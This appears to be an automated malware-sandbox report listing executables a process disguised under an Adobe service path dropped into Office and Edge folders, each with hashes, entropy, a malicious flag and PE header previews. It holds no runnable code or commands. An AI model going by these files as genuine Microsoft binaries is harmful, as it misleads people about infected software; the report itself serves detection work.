SHA1:	58F6D2D8FCFB621DB86E5F01E7BAD7891B2D1181
SHA-256:	EF02A7615F93F003DC079039876CB4FCDDC797730C387891F35A5BA9A24A0FAF
SHA-512:	A3A91C845D429E6B162A66E81C3AD3609D69B60A17989AF91D92D5852D8D9C6994056FDEE2AB3431B1688B3C7A08213252540D51FC510A30C3F136792AFC0F50
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!.e...e...e.......n..............I.......w.......p.......d.......r.......n...e...........{.......d...e.F.d.......d...Riche...........................PE..L....;.d............... .....X......q........0....@...........................#......N..........................................x.... ...a..............................8..............................@............0..p.......`....................text............................... ..`.rdata......0......................@..@.data....,..........................@....rsrc....a... ...b..................@..@.reloc...............F..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	53721600
Entropy (8bit):	6.54314106368072
Encrypted:	false
SSDEEP:	1572864:GNVpTyR96CwKImp81ujlSHFsQ4adtZp20wfP+9HgoZRZa:GQ9lw68HSq
MD5:	03F7E82373A773C04C40C4CCF9811849
SHA1:	5E8172E20076ACFF9D2AEA1A513735BEE92EE63F
SHA-256:	72047669775EDB5164C10BFAE8406C3BD8F3C4EA495E65875B7F6BD8DC54E0B8
SHA-512:	3A7784AE58CB421AADEA7576C6A5A350A5407DD8689E24ADF4DB1E0E6D132498A293AB7852EDBA6904153EE18DCD9847128037A86D1488F352EEDCF304525BFC
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......X.mj.r.9.r.9.r.9...9.r.9\|..8.r.9\|..8;r.9\|..8.r.9\|..8.r.9...8.r.9...8.r.9...8.r.9.r.9Gm.9y..8.r.9y..8.r.9y..8.o.9y..8.r.9y..9.r.9.r.9.r.9y..8.r.9Rich.r.9........PE..L......e..........".... .._.........y........@f...@.......................... 5.....0R4.................................[.......h......$DW.........................,q..8...................(.q...... `.@.............`.....d........................text...,._......._................. ..`.rdata...bM...`..dM..._.............@..@.data................\..............@....detourc.............p..............@..@.c2r.....................................rsrc...$DW.....FW.................@..@.reloc....$.. ....#.................@...........................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1812992
Entropy (8bit):	5.250015295289358
Encrypted:	false
SSDEEP:	24576:7d8DMeflpnIOvYUk/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:7CDD9pnIOWLNiXicJFFRGNzj3
MD5:	1BF7F1B149AE7AF7FB56398B704AF1A8
SHA1:	7CDD4DCFEDCDB1D7135FDA71E92B8FA558F577BB
SHA-256:	317346C353B1FADB92651E7714416F76EE861638F8B99515327780EC6C2DBC6F
SHA-512:	A7091BE61E3AD5FAB14CE7E74C95D30949F1A586DA725EB986DC37F10532DD0F0B2BB86813AC968CC73D272EE6CE000CB0C6D1A53BA59B35B824C96B49127EA9
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..........J......@!.........@..............................'......z.... .............................................................X........F......................T.......................(...P...@...........@...`............................text............................... ..`.rdata..8...........................@..@.data...XL....... ...d..............@....pdata...F.......H..................@..@.00cfg..8.... ......................@..@.gxfg....*...0...,..................@..@.retplne.....`...........................tls.........p......................@..._RDATA..\...........................@..@.rsrc...X...........................@..@.reloc...`..........................@...................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4364800
Entropy (8bit):	6.745653091201487
Encrypted:	false
SSDEEP:	49152:8B1sstqMHiq8kBfK9a+cOVE/TqEpEepdkRqqUu9wg6KFYso8l8EtLNiXicJFFRGN:2HzorVmr2gkRpdJYolj7wRGpj3
MD5:	A1226BDDD97F3B6115A3E61625156B61
SHA1:	65229F00F2E45B31A2D07B87932D450314E0290D
SHA-256:	614800315DB5E90B74E82C49C228BA1CE6E688B68B55F552337E296BA4A966A5
SHA-512:	362EC3C7B780A90A62EFBCDB633ADB2CA0D67A71A0D4318CEDB70D81E821E7AEFEA4D5F513D333E464667654B2262334904DB5E02DADA6C125D70E1E6E0462FB
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".......'..".......K.........@.............................PD......bC... .....................................................P.... 4.......2..Q..................to..8...................`j..(.....'.@...........0.......`........................text...'.'.......'................. ..`.rdata...A....'..B....'.............@..@.data........./......./.............@....pdata...Q....2..R....0.............@..@.00cfg..0....p3......42.............@..@.gxfg....2....3..4...62.............@..@.retplne......3......j2..................tls..........3......l2.............@...LZMADEC.......3......p2............. ..`_RDATA..\.....4.......2.............@..@malloc_h......4.......2............. ..`.rsrc........ 4.......2.............@..@.reloc... ...0;.......9.............@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1394176
Entropy (8bit):	4.671285533410348
Encrypted:	false
SSDEEP:	24576:qEyTG/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:xyaLNiXicJFFRGNzj3
MD5:	1148F6FC54F34B3AA2D353F1644B1550
SHA1:	F75D7078FFB60600CF1657D2B50C151C0A136643
SHA-256:	2A7340760D1AFDC82DBF8FE40C41A6C0103E0DC23A05B0C3DA4810D84AE149E1
SHA-512:	1B6EAFB5FBD9B458139AC2280C69AB4E5C86978ECD1766C08D0B5507084CBE598B57BA4B4BA0DB8984CA01D0E4230DA59BFFFD44728908F34ECDF0671F0DE6E3
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."............................@.............................` ......R.... ..................................................]..(....................................W..T...............................@............`..X............................text............................... ..`.rdata..,...........................@..@.data...0............j..............@....pdata...............v..............@..@.00cfg..8...........................@..@.gxfg...P...........................@..@.retplne................................_RDATA..\...........................@..@.rsrc...............................@..@.reloc...`..........................@...........................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2354176
Entropy (8bit):	7.045032763676261
Encrypted:	false
SSDEEP:	49152:2hDdVrQ95RW0YQHyWQXE/09Val0GjLNiXicJFFRGNzj3:2hHYWmHyWKc7wRGpj3
MD5:	0B79C87888F1F817B9EF1809AC8DC7F0
SHA1:	63FFD69CD33B44B577C8AA0322DAAF7BB386876A
SHA-256:	2CF8AE9CC641075626AC8C7C995A2A411D606C274964121368A76D6F1A7710A8
SHA-512:	A9D120F9631D41A9A3BDB90FDA464A2D33C0B228D72204995A9A40CBBA4A0F0A9386734EADD7C255F1E8A9707FAF8688CCC04D90BD54EE13C684FBF73959C5AF
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......2...........b.........@.............................`%.......$... .........................................p%......>).......@..................................8.......................(....c..@........... 0..P............................text....0.......2.................. ..`.rdata.......P.......6..............@..@.data...4...........................@....pdata..............................@..@.00cfg..0...........................@..@.gxfg............0..................@..@.retplne.................................tls....!...........................@..._RDATA..\.... ......................@..@malloc_h.....0...................... ..`.rsrc........@......................@..@.reloc.......`......................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1825280
Entropy (8bit):	7.15210152347625
Encrypted:	false
SSDEEP:	24576:/70E0ZCQZMib6Rrt9RoctGfmdd9/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:T0EzQS7RPRoc15LNiXicJFFRGNzj3
MD5:	CD01EBE3D88A1467F671D92E467A6EBE
SHA1:	104CD36EAB7B9205F1161FD60E9875D9AB0859C1
SHA-256:	A9ABD4B1144DEC74E37F58BD74A2E83E57CA68796F1E19ED2DCE77D4C60CCE0C
SHA-512:	73F56B13DDBF352CBB46C3F08A1BC0056CCD9FE3C4B63F79EE391433CB46E2494945157F47770D55AC26702DAAE2A70F7B20731424016B010EFFF5AB8560C190
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..........v.......k.........@.............................0......./.... ..........................................u......ly....... ..........,....................d..T...................hc..(.......@...........@... ............................text............................... ..`.rdata.............................@..@.data........@......."..............@....pdata..,...........................@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne.................................tls................................@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc........ ......................@..@.reloc.......0......................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1847808
Entropy (8bit):	7.139181413137103
Encrypted:	false
SSDEEP:	24576:xiD2VmA1YXiHwlklb8boUuWPg2g6/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:QD2VmAygwIb8boQNLNiXicJFFRGNzj3
MD5:	54173D15F204051B2ACFDCA1C0CD52D4
SHA1:	84194EA3D28192D4BE913531789D9B77B4F70CCC
SHA-256:	0A1CEB58932CCF0C6C82B409CFEC6772E23AB33EAD48A2B788B670E1B3EC3480
SHA-512:	6D546B7B0163BEBF6C8B3D88E956BF31D931FDF6A28595ADD727D6E3AF692594A1D3EFAF5AB351B1A539E8EF47A60E79E92D0609CFC7C15240121CE7F3875066
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..................p.........@.............................p............ .........................................2...........d....`..8....P..........................8......................(.......@...............X...(........................text...4........................... ..`.rdata..\|...........................@..@.data................r..............@....pdata.......P.......n..............@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne..... ...........................tls.........0.......0..............@..._RDATA..\....@.......2..............@..@malloc_h.....P.......4.............. ..`.rsrc...8....`.......6..............@..@.reloc.......p.......B..............@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2853376
Entropy (8bit):	6.946964401475805
Encrypted:	false
SSDEEP:	49152:QfD3zO9ZhBGlohzM3HRNr00FLNiXicJFFRGNzj3:6DaalSzM00F7wRGpj3
MD5:	D80E83CE246D2EF836705BE651C19BE4
SHA1:	94361F862AB1FE8F277F76B65EB157683B07D4F9
SHA-256:	6364FDF5DC5F08AD1E932175B8E0E2921177EF9272015EA7BC4011E3358791A1
SHA-512:	86A86ADD76ED295CC6967A70B53CD653ED717917F192884A265B068E1F68D1242C36694C9563EE6AFA4F73F56349FCE85D3B33EF2F3E263520B5468A9967C002
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......l...2......@..........@..............................-....../,... .................................................h.........!.. ...P ........................8......................(...P...@...............x............................text....k.......l.................. ..`.rdata...............p..............@..@.data...T....p.......^..............@....pdata.......P ......d..............@..@.00cfg..0.... !......* .............@..@.gxfg...P1...0!..2..., .............@..@.retplne.....p!......^ ..................tls..........!......` .............@...LZMADEC.......!......b ............. ..`_RDATA..\.....!......t .............@..@malloc_h......!......v ............. ..`.rsrc.... ....!.."...x .............@..@.reloc........$.......".............@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4320256
Entropy (8bit):	6.8219091890021115
Encrypted:	false
SSDEEP:	49152:VTaRe7mkn5KLvD5qGVC008/pb4tgLUgGEsLABD5wTQh07yrLMLl9YPheLNiXicJy:sI72Lvkr4pbxJRoIM97wRGpj3
MD5:	7D767BB2A72DD99654CDA6E8C05E9F59
SHA1:	ACB5EDDE83C94F3EF772666403D52BA291B5F9DA
SHA-256:	46368158295ABF382D59DD1CEC8F94D8C679722A5E2FF675227D0B36F31AA1DE
SHA-512:	E46C910DBE2EAA5FA200974797BDD46A29A8F648B6C973A6735ACB1ECD904985BFCAB884BC547C5BB541B3BD511785D17947E33C68A62139EC53E7F8EA3D63E0
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".......,......... k.........@..............................C.....V.B... ..........................................'3......+3.P.....8.x....P6..e..................h.2.T.....................2.(...P"-.@............43.......3. ....................text...E.,.......,................. ..`.rdata..4#....-..$....,.............@..@.data........@4.......4.............@....pdata...e...P6..f...45.............@..@.00cfg..0.....7.......6.............@..@.gxfg...@4....7..6....6.............@..@.retplne......8.......6..................tls....-.... 8.......6.............@...CPADinfo8....08.......6.............@...LZMADEC......@8.......6............. ..`_RDATA..\....`8.......6.............@..@malloc_h.....p8.......6............. ..`.rsrc...x.....8.......6.............@..@.reloc... ...p:.......8.............@...........................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2062336
Entropy (8bit):	7.091538190635118
Encrypted:	false
SSDEEP:	24576:VW9Jml9mmijxiMnF+ZxmQWcbLw8Vt/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:VWnm5iAMkjmQWkVtLNiXicJFFRGNzj3
MD5:	D77924C075BB32DD490896405BF7C954
SHA1:	EF7DC71A71700D8EE069B19DEEDA1D7489A516DE
SHA-256:	1ABABC68AEE3F0AB0E7470A272116B7142F5AA6F15D3D8982034A13E7C0CB5D5
SHA-512:	B1E17CD0D3B6A3D35A3236A12E1880C9B285C40BB16F7350D26CE05FB5F5BDCF748AC8A5D65EF881F4973D135386E4F3515A43EC65823A8E3FAACD000A69D98B
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......h...4......P..........@.............................. ......y.... .................................................Z...................H......................8.......................(...`...@...........(...@............................text....g.......h.................. ..`.rdata...).......*...l..............@..@.data...............................@....pdata..H...........................@..@.00cfg..0....P.......H..............@..@.gxfg...p-...`.......J..............@..@.retplne.............x...................tls.................z..............@...CPADinfo8............\|..............@..._RDATA..\............~..............@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	7.15990573842476
Encrypted:	false
SSDEEP:	24576:lwNHwoYhua6MZERO4qbBJTY6mY1uIgL/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:lwNPdNO7BJTfmEsLNiXicJFFRGNzj3
MD5:	A32CD7F6030A0C77DFBDF76643CEE33F
SHA1:	3E9C74EB8773EB2FD4FAA3AC70B11FEF69F77F87
SHA-256:	2B7B487956F5CE904953852E9236E43EF4E5BB4196632F7CD1A96C61B6821D77
SHA-512:	162709DA2D11BD1FD72DF62246D677E9829AA4DB3E5438E9568A38DBE90ED1E635930A61C48B8E7ED317099C0C88E247434F1470BF7BA7B19005EF97A6DB288C
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".........r......P..........@.......................................... .........................................C...........................T.......................T.......................(....R..@............"..8.......`....................text....(......................... ..`.rdata.......@......................@..@.data...@...........................@....pdata..T...........................@..@.00cfg..0....@.......N..............@..@.gxfg....,...P...,...P..............@..@.retplne.............\|...................tls.................~..............@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1847808
Entropy (8bit):	7.139178706754582
Encrypted:	false
SSDEEP:	24576:viD2VmA1YXiHwlklb8boUuWPg2g6/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:qD2VmAygwIb8boQNLNiXicJFFRGNzj3
MD5:	1043E2434D6D4C12212BEFD2E85809EA
SHA1:	4E572BEFF9657D11F0B10F0329F7A03E180B0B01
SHA-256:	8923A2948EA8F31C1895BE9062C86A7F4A342F46BA0204AADBD939F33730C6FF
SHA-512:	E8D81A7014D9DF5470151A09D1BC89CBACC0B41B1E7AA6A2A1757E8EA3026089B8BAB099B95359E69CF1374ADD65316ADAE8F92543406F391B058EF863C88F63
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..................p.........@.............................p......-..... .........................................2...........d....`..8....P..........................8......................(.......@...............X...(........................text...4........................... ..`.rdata..\|...........................@..@.data................r..............@....pdata.......P.......n..............@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne..... ...........................tls.........0.......0..............@..._RDATA..\....@.......2..............@..@malloc_h.....P.......4.............. ..`.rsrc...8....`.......6..............@..@.reloc.......p.......B..............@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	7.159897473678515
Encrypted:	false
SSDEEP:	24576:ywNHwoYhua6MZERO4qbBJTY6mY1uIgL/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ywNPdNO7BJTfmEsLNiXicJFFRGNzj3
MD5:	01090FCCE9FDC648E90D0582FCFE7619
SHA1:	A0AC00C6DF869165A7BDA15250ED40DE773C9E81
SHA-256:	91289047AA9D03EF60C50E0BBBDE24DC050A3942DE0ABDE952A46CDEB02EC5F5
SHA-512:	2043CCABB0F01E7D62269707A6CDF61C0DEF12F30DC7C702DDD2241B9F75F7951ECEDDE1CE1BBA59890EFDE3B7CD5E007622AAC640B57103BE015E4293B7E720
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".........r......P..........@....................................u;.... .........................................C...........................T.......................T.......................(....R..@............"..8.......`....................text....(......................... ..`.rdata.......@......................@..@.data...@...........................@....pdata..T...........................@..@.00cfg..0....@.......N..............@..@.gxfg....,...P...,...P..............@..@.retplne.............\|...................tls.................~..............@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1481216
Entropy (8bit):	4.6941332206315
Encrypted:	false
SSDEEP:	24576:76lbht6BHg/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:WlNtqHgLNiXicJFFRGNzj3
MD5:	C12D62C1958FC1FEF2FB15A39293073D
SHA1:	3173E20764054674BF944A5C5C09C50A82F0F724
SHA-256:	C3F99914792D4E776B138DB7DD771969835C38D07C445FA56D8468DC8B15798A
SHA-512:	5431E1E9227F392276BC01C98A34104BB1ED1A2C7017E88ED531F166999B6A95D93FA7F78BE15F0EC5B4FE51135CDDA34D4109F16E6F1C344FCA9B8CF9C9957F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o.y.+c..+c..+c..?...!c..?....c..?...9c..I...:c..I...8c..I....c..?...c..?....c..+c..Xc......)c.....c..+c..\|c......*c..Rich+c..........................PE..L...B(.d.................^..........@........p....@...........................!.............................................H...<........q..........................pu..p...........................X...@...............@....k..`....................text...`\.......^.................. ..`.data........p.......b..............@....idata...............l..............@..@.didat...............v..............@....rsrc....q.......r...x..............@..@.reloc...p...0......................@...........................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1376768
Entropy (8bit):	4.656851590275436
Encrypted:	false
SSDEEP:	24576:eIxkTBVV/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:zxk1VVLNiXicJFFRGNzj3
MD5:	2DFF104E6391A8D0F521501952E272E9
SHA1:	4A8EDEE3D6AA9ED623B2CE88F0F7431A8D390519
SHA-256:	A5039FE650D030986A9F68C4EC7046AFB3DF2C8213E224905E70B51DEEDBE5B4
SHA-512:	CEB61A7FBA22664E90100BC48EB8315ABB016C29A32AECBFDEC159AD79989802E8A33FF3A3284543D67596103770CD1AE2C857B53712900C44E82987FFE588C5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,.B...B...B...A...B...G...B...F...B...G...B...F...B...A...B...C...B...C..B...G...B......B......B...@...B.Rich..B.........................PE..L...8(.d..........................................@........................... .............................................x...(....`..X3..............................p...............................@.......................@....................text............................... ..`.rdata...`.......b..................@..@.data........0......................@....didat.......P......................@....rsrc...X3...`...4..................@..@.reloc...p...........R..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1490944
Entropy (8bit):	4.787378249310515
Encrypted:	false
SSDEEP:	24576:ncssmr4/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:cbvLNiXicJFFRGNzj3
MD5:	A7104A33FBC7F2A8DBCE04C0FEC163B5
SHA1:	4DC28014D0412B31015FE4BF804D9F61253C8F3F
SHA-256:	04AA38812D6D60E1FCDE3C5B72A836A6718B318C0FF36065AB9D818A03EC6CE2
SHA-512:	9AAE46B1A3D4482A05168250E8504AD7BB0F96093E0E23C40AFA3B207FF63C73690F7C6E6A8993DA1B1F6F84C62C9568E796F0FF8C1C7D92C2ECD7D9F17AA06A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............O.@.O.@.O.@.$.A.O.@.$.A\|O.@.7.A.O.@.7.A.O.@.7.A.O.@W6.A.O.@.$.A.O.@.$.A.O.@.$.A.O.@.O.@IN.@W6.A.O.@W6.@.O.@W6.A.O.@Rich.O.@........PE..d...@(.d.........."......n...........].........@..............................!.....L..... .....................................................(............@..........................p.......................(...p,..@...............0............................text....l.......n.................. ..`.rdata..8z.......\|...r..............@..@.data...P3..........................@....pdata.......@......................@..@.didat.......`......................@..._RDATA.......p......................@..@.rsrc...............................@..@.reloc...`........... ..............@...........................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1539584
Entropy (8bit):	4.896556576554488
Encrypted:	false
SSDEEP:	24576:zTfcT++foSBWU2YxhkgL/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:vfcK+foQWU2YnPLLNiXicJFFRGNzj3
MD5:	DD93F24F13C3E6FFA12EF57F3C86556A
SHA1:	34FBC749A57900DAC0D6EB345155538B9FA39557
SHA-256:	F599BBBBF29CE1BE628B5BEBB271A2B18FD5FD989CA759AB8AD4139D8C34A095
SHA-512:	5ED0718437F5A5EF5A5778684DD7B6992C87A3D3AD82095B25B3787F279F549F8619A6D32D87A73E855C66CC4A3862C4F451A60AE8B349C6C21CE194883BE1A4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............wU..wU..wU.tT..wU.rTg.wU..sT..wU..tT..wU..rT..wU.sT..wU.qT..wU.vT..wU..vUQ.wUK.~T..wUK..U..wUK.uT..wURich..wU........PE..L...B(.d............................p.............@...........................".....J4.......................................y..........H3...........................g..p....................g..........@....................x.......................text............................... ..`.rdata...z.......\|..................@..@.data....'...........z..............@....didat..$...........................@....rsrc...H3.......4..................@..@.reloc..............................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1376768
Entropy (8bit):	4.656896633965884
Encrypted:	false
SSDEEP:	24576:YbBRzBgr/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:iBRVgrLNiXicJFFRGNzj3
MD5:	A6FA06857C60BD47FB78C9B0F80BF2E1
SHA1:	8D49134AD2EA7E37E3A1E123548E83457E76DE6C
SHA-256:	B4D147BF4F25C3D46A60D5678F834C42EABC8B235D8EF3CF2CF6E50DAAC66FE8
SHA-512:	1413C4ECAACCB7E690BDAA399E9401C68C9B0EED58587DBBCE6C178794A3BE8BD433ABD673493B4BAC96DC46E473BEEB42903FE0D2A3EF8C2A571E0B629D9438
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,.B...B...B...A...B...G...B...F...B...G...B...F...B...A...B...C...B...C..B...G...B......B......B...@...B.Rich..B.........................PE..L...7(.d..........................................@........................... .................................................(....`..X3..............................p...............................@...................<...@....................text............................... ..`.rdata...`.......b..................@..@.data........0......................@....didat.......P......................@....rsrc...X3...`...4..................@..@.reloc...p...........R..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2168832
Entropy (8bit):	7.937635672960778
Encrypted:	false
SSDEEP:	49152:py53w24gQu3TPZ2psFkiSqwozdLNiXicJFFRGNzj3:pyFQgZqsFki+ozd7wRGpj3
MD5:	29345BF3B1387FA912417C3F28E4517F
SHA1:	776023C1A75805631361FEEC3E2C7E43F2AF5801
SHA-256:	2438D7A57B163BBF417D6FE6488ABBCBB491345BBB172FBD85F331BED3BBF675
SHA-512:	342457E5D501C94207ED71F8BCED0BE917CEF1CB4C362691BBAD8104F3ED7F50AF2F3B882736F7133023B2C5FD6B28773412AE243CA210512D4F8955DCC48A3F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d..[ e.. e.. e..4...+e..4....e..B...1e..B...4e......-e..B....e..4...3e..4...!e..4...-e.. e...e....@.!e.. e(.ve......!e..Rich e..................PE..L....(.d............................ }............@..........................p!.....&k!......................................?..x....................................1..p....................1..........@...............H...T>..`....................text...*........................... ..`.rdata..............................@..@.data...,....P.......8..............@....didat..,....p.......B..............@....rsrc................D..............@..@.reloc.......p.......(..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3141
Entropy (8bit):	4.83945689994571
Encrypted:	false
SSDEEP:	96:A83UttJ2lgLf3EQ3U/8acjQjgm4UtqKoJcJQtxRei:zPg
MD5:	E62FF8604D56A86731341337EC8372AA
SHA1:	CA75747C43E7CA75E6E34F1A6E108211524BF316
SHA-256:	89C02AD5D894CF0181112C3B009364B62E5CC756FD917A7925627EFF1B0C175E
SHA-512:	09E8857DCE1FB2BE21C4D1278EB1226ECFFA9ADD606C93D3F55AEE3117A4033802F08AAE5D054EB1562148A0C63F9BC6DE824B0D22124187E9051AE69493FC37
Malicious:	false
Reputation:	unknown
